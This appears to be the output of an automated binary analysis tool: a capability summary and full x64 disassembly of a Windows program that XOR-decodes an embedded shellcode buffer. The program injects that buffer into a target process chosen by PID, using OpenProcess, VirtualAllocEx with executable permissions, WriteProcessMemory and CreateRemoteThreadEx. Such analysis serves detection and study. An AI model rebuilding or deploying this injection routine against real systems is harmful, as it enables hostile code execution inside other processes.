Function at 0x1400017d0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call sym.__main
cmp dword [rbp + 0x10], 1
jg 0x14000180d
mov rax, qword [0x14000a030]
mov rdx, rax
lea rax, str._s_usage_:_program.exe__PID_
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, 1
jmp 0x140001b67
movabs rax, 0x6840484061404140
movabs rdx, 0x654045406d404d40
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x64404440654045
mov qword [rbp - 0x13], rax
mov dword [rbp - 4], 0
jmp 0x14000189e
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x14000a040]
movzx eax, byte [rax + rdx]
mov r8d, eax
mov ecx, dword [rbp - 4]
movsxd rax, ecx
imul rax, rax, 0x2e8ba2e9
shr rax, 0x20
mov edx, eax
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
movsxd rax, edx
movzx eax, byte [rbp + rax - 0x20]
xor eax, r8d
mov ecx, eax
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x14000a040]
mov byte [rax + rdx], cl
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cdqe
cmp rax, 0x1fe
jbe 0x140001840
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [0x1400100a0], eax
mov edx, dword [0x1400100a0]
mov rax, qword [0x14000a028]
mov r8d, edx
mov rdx, rax
lea rax, str._s_trying_to_open_a_handle_to_process___ld__n
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, dword [0x1400100a0]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [0x1400100b0], rax
mov rdx, qword [0x1400100b0]
mov rax, qword [0x14000a020]
mov r8, rdx
mov rdx, rax
lea rax, str._s_got_the_handle___n___0x_p_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, dword [0x1400100a0]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [0x1400100b0], rax
mov rax, qword [0x1400100b0]
test rax, rax
jne 0x140001995
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov ecx, dword [0x1400100a0]
mov rax, qword [0x14000a030]
mov r9d, edx
mov r8d, ecx
mov rdx, rax
lea rax, str._s_failed_to_get_the_process___ld___error:__ld
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, 1
jmp 0x140001b67
mov rax, qword [0x1400100b0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x200
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [0x1400100a8], rax
mov rax, qword [0x14000a020]
mov r8d, 0x200
mov rdx, rax
lea rax, str._s_allocated__zu_bytes_with_PAGE_EXECUTE_READWRIRE_permissions_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rdx, qword [0x1400100a8]
mov rax, qword [0x1400100b0]
mov qword [rsp + 0x20], 0
mov r9d, 0x200
lea r8, [0x14000a040]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [0x14000a020]
mov r8d, 0x200
mov rdx, rax
lea rax, str._s_wrote__zu_bytes_to_process_memory_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [0x1400100a8]
mov rcx, rax
mov rax, qword [0x1400100b0]
lea rdx, [0x1400100a4]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
call rax
mov qword [0x1400100b8], rax
mov rax, qword [0x1400100b8]
test rax, rax
jne 0x140001ade
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [0x14000a030]
mov r8d, edx
mov rdx, rax
lea rax, str._s_failed_to_get_a_handle_to_the_thread__error:__ld
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [0x1400100b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140001b67
mov rcx, qword [0x1400100b8]
mov edx, dword [0x1400100a4]
mov rax, qword [0x14000a020]
mov r9, rcx
mov r8d, edx
mov rdx, rax
lea rax, str._s_got_a_handle_to_the_thread___ld__n___0xp_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [0x14000a028]
mov rdx, rax
lea rax, str._s_cleaning_up_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov rax, qword [0x1400100b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x1400100b0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x14000a020]
mov rdx, rax
lea rax, str._s_bye_n
mov rcx, rax
call dbg.printf(char const*, ::)
mov eax, 0
add rsp, 0x60
pop rbp
ret